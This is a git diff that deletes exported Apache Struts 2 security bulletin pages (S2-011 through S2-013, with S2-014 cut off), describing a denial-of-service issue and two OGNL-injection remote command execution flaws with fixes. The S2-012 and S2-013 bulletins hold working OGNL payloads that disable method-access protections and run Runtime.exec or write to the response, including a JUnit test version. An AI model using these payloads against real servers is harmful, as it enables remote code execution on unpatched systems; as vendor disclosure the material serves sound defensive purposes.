-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-011</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-011.html">S2-011</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-011</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30146794">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30146794">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30146794">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30146794">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30146794">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30146794">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-011-Summary">Summary</h2>
-
-<p>
-</p><p>Long request parameter names might significantly promote the effectiveness of DOS attacks</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Who should read this </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> All Struts 2 developers </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Impact of vulnerability </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Denial-of-Service attacks </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Maximum secu [...]
-
-
-<h2 id="S2-011-Problem">Problem</h2>
-
-<p>Request parameters handled by Struts 2 are effectively treated as OGNL expressions. A possible DOS attacker might craft requests to a Struts 2 based application with extremely long parameter names. OGNL evaluation of the parameter name then will consume significant CPU cycles, thus promoting the effectiveness of the DOS attack.</p>
-
-<h2 id="S2-011-Solution">Solution</h2>
-
-<p>As of Struts 2.3.4.1, parameter name length is limited to a maximum of 100 characters. This configuration may be customized by providing the newly introduced parameter "paramNameMaxLength" to the ParametersInteceptor configuration.</p>
-
-<p>Thanks to Johno Crawford for the provided patch.</p>
-
-<p>Please upgrade to&#160;<a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi#struts2341">Struts 2.3.4.1</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-012.html b/content/docs/s2-012.html
deleted file mode 100644
index 4e74d5f..0000000
--- a/content/docs/s2-012.html
+++ /dev/null
@@ -1,236 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-012</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-012.html">S2-012</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-012</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31818222">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31818222">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31818222">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31818222">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31818222">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31818222">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-012-Summary">Summary</h2>
-
-<p>
-</p><p>Showcase app vulnerability allows remote command execution</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>Remote command execution</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Maximum security ratin [...]
-
-<h2 id="S2-012-Problem">Problem</h2>
-
-<p>OGNL provides, among other features, extensive expression <a shape="rect" class="external-link" href="http://commons.apache.org/ognl/language-guide.html#Expression_Evaluation">evaluation capabilities</a>. <br clear="none">
-A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into a property, afterward used as request parameter of a redirect address, which will cause a further evaluation. </p>
-
-<p>OGNL evaluation was already addressed in <a shape="rect" href="s2-003.html">S2-003</a> and <a shape="rect" href="s2-005.html">S2-005</a> and <a shape="rect" href="s2-009.html">S2-009</a>, but, since it involved just the parameter's name, it turned out that the resulting fixes based on whitelisting acceptable parameter names and denying evaluation of the expression contained in parameter names, closed the vulnerability only partially. </p>
-
-<p>The second evaluation happens when redirect result reads it from the stack and uses the previously injected code as redirect parameter.<br clear="none">
-This lets malicious users put arbitrary OGNL statements into any unsanitized String variable exposed by an action and have it evaluated as an OGNL expression to enable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.</p>
-
-<h2 id="S2-012-Proofofconcept">Proof of concept</h2>
-
-<ol><li>Run struts2-showcase</li><li>Open url: <a shape="rect" class="external-link" href="http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV" rel="nofollow">http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV</a></li><li>write skill name to %{expr} for example:
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}
-</pre>
-</div></div></li><li>submit the form</li></ol>
-
-
-<p>The issue, in order to work, need a redirect result defined as the following:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save"&gt;
-    &lt;result type="redirect"&gt;edit.action?skillName=${currentSkill.name}&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>    
-
-<h3 id="S2-012-JUnitVersion">JUnit Version</h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public void testUnsecureRedirect() {
-    final String pwnDir = "/tmp/PWNAGE";
-    final Map&lt;String, String&gt; fakeAction = new HashMap&lt;String, String&gt;() {
-        {
-            put("skillName", "%{(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)(@java.lang.Runtime@getRuntime().exec('mkdir " + pwnDir + "'))}");
-        }
-    };
-
-    String location = "/context/edit.action?skillName=true";
-    responseMock.expectAndReturn("encodeRedirectURL", C.anyArgs(1), location);
-    responseMock.expect("sendRedirect", C.args(C.eq(location)));
-    requestMock.expectAndReturn("getAttribute", C.args(C.eq("javax.servlet.include.servlet_path")), location);
-
-    ValueStack stack = ai.getStack();
-    stack.push(fakeAction);
-
-    view.setLocation("edit.action?skillName=${skillName}");
-    view.setParse(true);
-
-
-    try {
-        view.execute(ai);
-
-        requestMock.verify();
-
-        File pwn = new File(pwnDir);
-        boolean exists = pwn.exists();
-        FileUtils.deleteDirectory(pwn);
-        assertFalse("Remote exploit: The PWN folder has been created", exists);
-
-        Object dme = stack.getContext().get("xwork.MethodAccessor.denyMethodExecution");
-
-        assertTrue("DenyMethodExecution has been disabled", dme == null || BooleanUtils.toBoolean(dme.toString()));
-
-    } catch (Exception e) {
-        e.printStackTrace();
-        fail();
-    }
-}
-</pre>
-</div></div>
-<h2 id="S2-012-Solution">Solution</h2>
-
-<p>The OGNLUtil class was changed to deny eval expressions by default. </p>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p><strong>It is strongly recommended to upgrade to <a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi#struts23141">Struts 2.3.14.1</a>, which contains the corrected OGNL and XWork library.</strong></p></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-013.html b/content/docs/s2-013.html
deleted file mode 100644
index 8f575d8..0000000
--- a/content/docs/s2-013.html
+++ /dev/null
@@ -1,210 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-013</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-013.html">S2-013</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-013</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31818224">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31818224">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31818224">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31818224">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31818224">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31818224">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-013-Summary">Summary</h2>
-
-<p>
-</p><p>A vulnerability, present in the <em>includeParams</em> attribute of the <em>URL</em> and <em>Anchor</em> Tag, allows remote command execution</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>Remote command execution</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Maximum security ratin [...]
-
-<h2 id="S2-013-Problem">Problem</h2>
-
-<p>Both the <a shape="rect" class="external-link" href="http://struts.apache.org/release/2.3.x/struts2-core/apidocs/org/apache/struts2/components/URL.html"><em>s:url</em></a> and <a shape="rect" class="external-link" href="http://struts.apache.org/release/2.1.x/struts2-core/apidocs/org/apache/struts2/components/Anchor.html"><em>s:a</em></a> tag provide an <em>includeParams</em> attribute. </p>
-
-<p>The main scope of that attribute is to understand whether includes http request parameter or not.  </p>
-
-<p>The allowed values of includeParams are:</p>
-<ol><li><em>none</em> - include no parameters in the URL (default)</li><li><em>get</em> - include only GET parameters in the URL</li><li><em>all</em> - include both GET and POST parameters in the URL</li></ol>
-
-
-<p>A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into the stack, afterward used as request parameter of an <em>URL</em> or <em>A</em> tag , which will cause a further evaluation. </p>
-
-<p>The second evaluation happens when the URL/A tag tries to resolve every parameters present in the original request.<br clear="none">
-This lets malicious users put arbitrary OGNL statements into any request parameter (not necessarily managed by the code) and have it evaluated as an OGNL expression to enable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.</p>
-
-<h2 id="S2-013-Proofofconcept">Proof of concept</h2>
-
-<ol><li>Open HelloWorld.jsp present in the Struts Blank App and add to one of the url/a tag the following parameter:
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
- includeParams="all"
-</pre>
-</div></div>
-Such that the line will be something look like this:
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:url id="url" action="HelloWorld" includeParams="all"&gt;
-</pre>
-</div></div>
-(it works also with <em>includeParams="get"</em>).</li><li>Run struts2-blank app</li><li>Open the url: http://localhost:8080/example/HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D<br clear="none">
- (this is the shortened version <a shape="rect" class="external-link" href="http://goo.gl/lhlTl" rel="nofollow">http://goo.gl/lhlTl</a>)</li></ol>
-
-
-<p>As you will notice, in this case, there is no way to escape/sanitize the fakeParam, since it's not an expected parameter. </p>
-
-<h2 id="S2-013-Solution">Solution</h2>
-
-<p>The OGNLUtil class was changed to deny eval expressions by default. </p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">Backward Compatibility</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>In case you need to restore the old behavior, you need to define the following constant, inside your struts configuration (<strong>use it at your own risk</strong>).</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.ognl.enableOGNLEvalExpression" value="true" /&gt;
-</pre>
-</div></div>
-<p>Please, ensure that:</p>
-<ol><li>there are no <em>includeParams</em> with "all" or "get" value</li><li>every parameter which is declared inside the <em>u</em> or <em>a</em> tag come from a sanitized input.</li></ol>
-</div></div>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p><strong>It is strongly recommended to upgrade to <a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi#struts23141">Struts 2.3.14.1</a>, which contains the corrected OGNL and XWork library.</strong></p></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-014.html b/content/docs/s2-014.html
deleted file mode 100644
index 28957c6..0000000
--- a/content/docs/s2-014.html
+++ /dev/null
@@ -1,217 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
